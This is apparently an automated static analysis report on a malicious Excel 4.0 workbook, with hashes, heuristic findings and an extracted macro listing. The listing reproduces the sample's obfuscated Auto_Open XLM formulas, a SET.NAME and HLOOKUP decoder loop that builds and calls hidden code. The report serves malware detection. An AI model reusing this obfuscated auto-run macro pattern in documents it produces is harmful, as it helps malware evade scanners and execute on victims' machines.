Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f21b221c7d36d38…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:38 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 209f77393301f2d76ed2c45b91493ea1 SHA-1: c4c96ae76020883a59022b3d353304c94f39eea6 SHA-256: 4f21b221c7d36d3836a1c4941dc7735e4e0272d027967d529f8096b120c214f2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6784 bytes
SHA-256: 595bcc2fd9f6f050fd654b43d7d896008172dc20b61dc3e699e746a18768e5e2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mUEpFmrZQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A171 
' 0018     22 LABEL : Cell Value, String Constant - DGSPyxJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - EiQHBuLluo len=0 
' 0018     24 LABEL : Cell Value, String Constant - ejwrlgQGS len=0 
' 0018     25 LABEL : Cell Value, String Constant - eNydbPoioh len=0 
' 0018     21 LABEL : Cell Value, String Constant - epxxUP len=0 
' 0018     27 LABEL : Cell Value, String Constant - inEBKGiFEcHV len=0 
' 0018     27 LABEL : Cell Value, String Constant - ivreMnwckfOG len=0 
' 0018     21 LABEL : Cell Value, String Constant - jpDGtg len=0 
' 0018     22 LABEL : Cell Value, String Constant - ntpPRFr len=0 
' 0018     25 LABEL : Cell Value, String Constant - NUcXooNXef len=0 
' 0018     22 LABEL : Cell Value, String Constant - OQxUYwa len=0 
' 0018     20 LABEL : Cell Value, String Constant - QcXuD len=0 
' 0018     24 LABEL : Cell Value, String Constant - QEEHJYaSz len=0 
' 0018     21 LABEL : Cell Value, String Constant - REZzei len=0 
' 0018     23 LABEL : Cell Value, String Constant - RxLZKwND len=0 
' 0018     21 LABEL : Cell Value, String Constant - teYgRe len=0 
' 0018     24 LABEL : Cell Value, String Constant - UfWcpOZLN len=0 
' 0018     20 LABEL : Cell Value, String Constant - vbwmx len=0 
' 0018     26 LABEL : Cell Value, String Constant - XMxWglfzkZd len=0 
' 0018     22 LABEL : Cell Value, String Constant - YIRSyAe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mUEpFmrZQ,T69,"",-561.00000000000000000000
'  mUEpFmrZQ,T70,"",-128.00000000000000000000
'  mUEpFmrZQ,T71,"",167.00000000000000000000
'  mUEpFmrZQ,T72,"",-517.00000000000000000000
'  mUEpFmrZQ,T73,"",300.00000000000000000000
'  mUEpFmrZQ,T74,"",-255.00000000000000000000
'  mUEpFmrZQ,A78,"SET.NAME("XMxWglfzkZd",0+VALUE("0"))",""
'  mUEpFmrZQ,A81,"SET.NAME("teYgRe",XMxWglfzkZd)",""
'  mUEpFmrZQ,A86,"SET.NAME("EiQHBuLluo",XMxWglfzkZd)",""
'  mUEpFmrZQ,A89,"SET.NAME("UfWcpOZLN",COUNTA(inEBKGiFEcHV))",""
'  mUEpFmrZQ,A94,"SET.NAME("ivreMnwckfOG",COUNTA(vbwmx))",""
'  mUEpFmrZQ,A98,[],""
'  mUEpFmrZQ,A101,"SET.NAME("DGSPyxJ","")",""
'  mUEpFmrZQ,A104,"teYgRe",""
'  mUEpFmrZQ,A106,"SET.NAME("ntpPRFr",HLOOKUP("*",inEBKGiFEcHV,teYgRe,FALSE))",""
'  mUEpFmrZQ,A111,"ejwrlgQGS",""
'  mUEpFmrZQ,A113,"SET.NAME("RxLZKwND",XMxWglfzkZd)",""
'  mUEpFmrZQ,A118,[],""
'  mUEpFmrZQ,A120,"RxLZKwND",""
'  mUEpFmrZQ,A123,"YIRSyAe",""
'  mUEpFmrZQ,A127,"epxxUP",""
'  mUEpFmrZQ,A132,"eNydbPoioh",""
'  mUEpFmrZQ,A135,"SET.NAME("QcXuD",VALUE(HLOOKUP("*",vbwmx,eNydbPoioh,FALSE)))",""
'  mUEpFmrZQ,A137,"OQxUYwa",""
'  mUEpFmrZQ,A139,"DGSPyxJ",""
'  mUEpFmrZQ,A141,"EiQHBuLluo",""
'  mUEpFmrZQ,A146,NEXT(),""
'  mUEpFmrZQ,A150,"jpDGtg",""
'  mUEpFmrZQ,A155,[],""
'  mUEpFmrZQ,A157,"NUcXooNXef",""
'  mUEpFmrZQ,A162,NEXT(),""
'  mUEpFmrZQ,A166,RETURN(),""
'  mUEpFmrZQ,A193,"SET.NAME("QEEHJYaSz",A78)",""
'  mUEpFmrZQ,A196,"inEBKGiFEcHV",""
'  mUEpFmrZQ,A201,"SET.NAME("vbwmx",R63C12)",""
'  mUEpFmrZQ,A206,"SET.NAME("NUcXooNXef",213)",""
'  mUEpFmrZQ,A209,"SET.NAME("REZzei",1)",""
'  mUEpFmrZQ,A212,QEEHJYaSz(),""
'  mUEpFmrZQ,A213,HALT(),""